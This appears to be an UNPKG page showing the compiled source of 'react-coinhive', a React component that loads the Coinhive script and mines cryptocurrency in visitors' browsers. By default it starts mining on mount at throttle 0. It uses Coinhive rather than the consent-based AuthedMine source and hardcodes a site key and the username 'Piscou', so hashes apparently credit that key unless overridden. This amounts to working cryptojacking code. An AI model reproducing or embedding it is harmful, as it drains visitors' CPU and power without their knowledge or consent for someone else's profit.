UNPKG

react-coinhive

Version:
184 lines (161 loc) 6.91 kB
import _regeneratorRuntime from 'babel-runtime/regenerator'; var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _class, _temp2; function _asyncToGenerator(fn) { return function () { var gen = fn.apply(this, arguments); return new Promise(function (resolve, reject) { function step(key, arg) { try { var info = gen[key](arg); var value = info.value; } catch (error) { reject(error); return; } if (info.done) { resolve(value); } else { return Promise.resolve(value).then(function (value) { step("next", value); }, function (err) { step("throw", err); }); } } return step("next"); }); }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } import React, { Component } from 'react'; import PropTypes from 'prop-types'; import load from 'load-script'; var src = { coinhive: 'https://coinhive.com/lib/coinhive.min.js', authedmine: 'https://authedmine.com/lib/authedmine.min.js' }; var CoinHiveClient = (_temp2 = _class = function (_Component) { _inherits(CoinHiveClient, _Component); function CoinHiveClient() { var _temp, _this, _ret; _classCallCheck(this, CoinHiveClient); for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } return _ret = (_temp = (_this = _possibleConstructorReturn(this, _Component.call.apply(_Component, [this].concat(args))), _this), _this.state = { loaded: false }, _this.loadScript = function () { return new Promise(function (resolve, reject) { return load(_this.props.src, function (err, script) { if (err) { return reject(err); } return _this.setState({ loaded: true }, function () { return resolve(script); }); }); }); }, _this.initHive = function () { if (_this.miner) { _this.stop(); delete _this.miner; } if (_this.props.userName) { _this.miner = CoinHive.User(_this.props.siteKey, _this.props.userName); } else { _this.miner = CoinHive.Anonymous(_this.props.siteKey); } _this.props.onInit(_this.miner); }, _this.start = function () { if (!_this.miner) return; _this.miner.start(); _this.props.onStart(_this.miner); }, _this.stop = function () { if (!_this.miner) return; _this.miner.stop(); _this.props.onStop(_this.miner); }, _this.setupHive = function () { if (_this.props.autoThreads) { _this.miner.setAutoThreadsEnabled(true); } else { _this.miner.setAutoThreadsEnabled(false); _this.miner.setNumThreads(_this.props.threads); } _this.miner.setThrottle(_this.props.throttle); }, _temp), _possibleConstructorReturn(_this, _ret); } CoinHiveClient.prototype.componentDidMount = function () { var _ref = _asyncToGenerator( /*#__PURE__*/_regeneratorRuntime.mark(function _callee() { return _regeneratorRuntime.wrap(function _callee$(_context) { while (1) { switch (_context.prev = _context.next) { case 0: _context.next = 2; return this.loadScript(); case 2: if (this.props.run) { this.stop(); } this.setupHive(); if (this.props.run) { this.start(); } case 5: case 'end': return _context.stop(); } } }, _callee, this); })); function componentDidMount() { return _ref.apply(this, arguments); } return componentDidMount; }(); CoinHiveClient.prototype.componentDidUpdate = function componentDidUpdate(prevProps, prevState) { if (this.state.loaded) { if (!this.miner || this.props.userName !== prevProps.userName) { this.initHive(); } else if (prevProps.threads !== this.props.threads || prevProps.autoThreads !== this.props.autoThreads || prevProps.throttle !== this.props.throttle || prevProps.userName !== this.props.userName || prevProps.siteKey !== this.props.siteKey) { this.setupHive(); } else if (prevProps.run !== this.props.run) { if (this.props.run) { this.start(); } else { this.stop(); } } } }; CoinHiveClient.prototype.render = function render() { return null; }; return CoinHiveClient; }(Component), _class.defaultProps = { autoThreads: false, onInit: function onInit(miner) { return null; }, onStart: function onStart(miner) { return null; }, onStop: function onStop(miner) { return null; }, run: true, siteKey: 'caP8U8pZXH6n0f53eV3fdpwOvpmTAD3C', threads: 2, throttle: 0, userName: 'Piscou', src: src.coinhive }, _temp2); export { CoinHiveClient as default }; CoinHiveClient.propTypes = process.env.NODE_ENV !== "production" ? { autoThreads: PropTypes.bool, onInit: PropTypes.func, onStart: PropTypes.func, onStop: PropTypes.func, run: PropTypes.bool, siteKey: PropTypes.string, threads: PropTypes.number, throttle: PropTypes.number, userName: PropTypes.string, src: PropTypes.string } : {}; ; CoinHiveClient.src = src; CoinHiveClient.getMinerData = function (miner) { if (!miner || (typeof miner === 'undefined' ? 'undefined' : _typeof(miner)) !== 'object' || typeof miner.isRunning !== 'function') { return 'miner is not defined'; } var data = { isRunning: miner.isRunning(), getHashesPerSecond: miner.getHashesPerSecond(), getNumThreads: miner.getNumThreads(), getAutoThreadsEnabled: miner.getAutoThreadsEnabled(), hasWASMSupport: miner.hasWASMSupport(), getThrottle: miner.getThrottle(), getToken: miner.getToken(), getTotalHashes: miner.getTotalHashes(), getAcceptedHashes: miner.getAcceptedHashes() }; return data; };